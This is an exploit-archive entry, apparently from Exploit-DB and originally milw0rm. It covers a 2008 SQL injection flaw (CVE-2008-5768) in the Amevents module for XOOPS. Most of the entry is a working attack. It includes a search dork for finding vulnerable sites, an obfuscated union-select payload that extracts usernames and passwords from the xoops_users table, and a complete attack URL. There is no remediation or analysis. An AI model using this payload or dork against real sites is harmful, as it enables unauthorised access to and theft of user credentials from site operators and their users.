Exploit XOOPS Module Amevents - SQL Injection

[Exploiter]

EDB-ID

7479

Проверка EDB

1. Пройдено

Автор

NéTROOT

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-5768

Дата публикации

2008-12-15

##########################################
#
# XOOPS Module:  Amevents
#
#
##########################################
#
##AUTHOR : netRoot
####HOME : http://www.passw0rd.info
#
####MAÄ°L : [email protected]
#
###########################################
#
# DORKS : dork: /modules/amevents/print.php?id=
###########################################
 
target: scriptpage.com/modules/amevents/print.php?id=[sql Code]
 
Sql code: -98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*
 
live link: http://xxx.com/modules/amevents/print.php?id=-98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

# milw0rm.com [2008-12-15]